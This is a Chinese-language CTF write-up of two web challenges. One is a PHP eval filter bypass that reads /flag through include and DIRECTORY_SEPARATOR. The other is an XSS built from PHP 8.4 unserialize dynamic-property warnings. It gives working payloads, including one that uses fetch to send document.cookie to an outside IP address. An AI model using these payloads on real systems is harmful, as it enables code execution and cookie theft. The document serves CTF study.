文章目錄
- Evalgelist
- Silent Profit(復現)
Evalgelist
<?phpif (isset($_GET['input'])) {echo '<div class="output">';$filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);$cmd = $filtered . '();';echo '<strong>After Security Filtering:</strong> <span class="filtered">' . htmlspecialchars($cmd) . '</span>' . "\n\n";echo '<strong>Execution Result:</strong>' . "\n";echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px;">';try {ob_start();eval($cmd);$result = ob_get_clean();if (!empty($result)) {echo '<span class="success">? Function executed successfully!</span>' . "\n";echo htmlspecialchars($result);} else {echo '<span class="success">? Function executed (no output)</span>';}} catch (Error $e) {echo '<span class="error">? Error: ' . htmlspecialchars($e->getMessage()) . '</span>';} catch (Exception $e) {echo '<span class="error">? Exception: ' . htmlspecialchars($e->getMessage()) . '</span>';}echo '</div>';echo '</div>';}?>
沒有過濾;
, 可以執行多條語句
在php中,未被雙引號包裹的字符串會被定義為常量,若是找不到這個常量就會被自動轉化成字符串
include
在包含文件的時候會查找include_path
環境變量中的路徑,一般就是 .:/usr/local/lib/php
.
-> 當前目錄 , /usr/local/lib/php
->系統 PEAR 庫路徑
所以可以通過include 文件名;die
來讀取當前目錄的文件
比如我在當前目錄新建一個flag的文件,include flag
就可以讀取這個文件的內容,雖然會有警告,但是依然會往下執行
(如果文件里面符合php的語法,也會當成php文件進行執行)
因為沒有引號包裹的原因,是無法讀取像 index.php
的這種文件的,這種文件會被當成兩個字符串通過.
進行拼接,也就是會去查找indexphp
這個文件名
flag在/flag
下,但是/
被過濾了,無法直接include /flag
讀取文件
不過就算
/
沒被過濾,好像也不能直接通過include /flag
進行讀取
所以就需要想辦法拼接一個/flag
php中存在一個常量DIRECTORY_SEPARATOR
可以表示/
, 通過.
進行拼接就可以得到/flag
構造payload:include DIRECTORY_SEPARATOR.flag;die
Silent Profit(復現)
bot.js
const express = require('express');
const puppeteer = require('puppeteer');const app = express();app.use(express.urlencoded({ extended: false }));const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;app.post('/report', async (req, res) => {const { url } = req.body;if (!url || !url.startsWith('http://challenge/')) {return res.status(400).send('Invalid URL');}try {console.log(`[+] Visiting: ${url}`);const browser = await puppeteer.launch({headless: 'new',args: ['--no-sandbox','--disable-setuid-sandbox',]});await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });const page = await browser.newPage();await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });await page.waitForNetworkIdle({timeout: 5000})await browser.close();res.send('URL visited by bot!');} catch (err) {console.error(`[!] Error visiting URL:`, err);res.status(500).send('Bot error visiting URL');}
});app.get('/', (req, res) => {res.send(`<h2>XSS Bot</h2><form method="POST" action="/report"><input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" /><button type="submit">Submit</button></form>`);
});app.listen(PORT, () => {console.log(`XSS bot running at port ${PORT}`);
});
index.php
<?php
show_source(__FILE__);
unserialize($_GET['data']);
只有這兩行代碼去實現反序列化,想要實現xss
的攻擊,肯定是需要控制信息顯示在瀏覽器上面
題目環境是php8.4
,所以可能就是這個版本有關于unserialize
函數的報錯的相關修改
PHP 8.1 新引入的 enum
枚舉序列化格式,傳入一個enum
對象的錯誤格式,會發現可以控制部分報錯信息顯示到瀏覽器上面
試著傳入一個xss的payload, 但是瀏覽器好像并沒有解析,沒有彈窗
因為常規的錯誤信息輸出函數(如php_error_docref
)會對輸出進行HTML轉義,所以無法直接觸發XSS。
所以需要尋找一個在反序列化過程中觸發的、且不會對輸出進行HTML轉義的錯誤
PHP 8.2 開始禁止動態創建類中未定義的屬性,當嘗試設置動態屬性的時候就會觸發一個棄用的警告,并且會顯示出屬性名
此警告通過
zend_error()
輸出,不會進行 HTML 轉義
這樣我們就可以通過控制屬性名來進行xss了
添加一個test
類進行測試
反序列化時添加一個動態的屬性aa
,就會發現這個屬性名被回顯到里瀏覽器上面
將其替換成xss的payload,發現可以彈窗
那么只需要找一個php的內置類,并且是可序列化的,動態添加屬性進行報錯就行了
這樣的類有很多,可以用Exception
來構造
O:9:"Exception":1:{s:25:"<script>alert(1)</script>";i:2;}
最終的payload:
url=http://challenge/?data=O:9:"Exception":1:{s:74:"<script>fetch(`http://8.154.17.163:8080?flag=${document.cookie}`)</script>";i:2;}
參考文章
https://baozongwi.xyz/2025/07/05/R3CTF2025/
https://qiita.com/singetu0096/items/65621ba135544e262518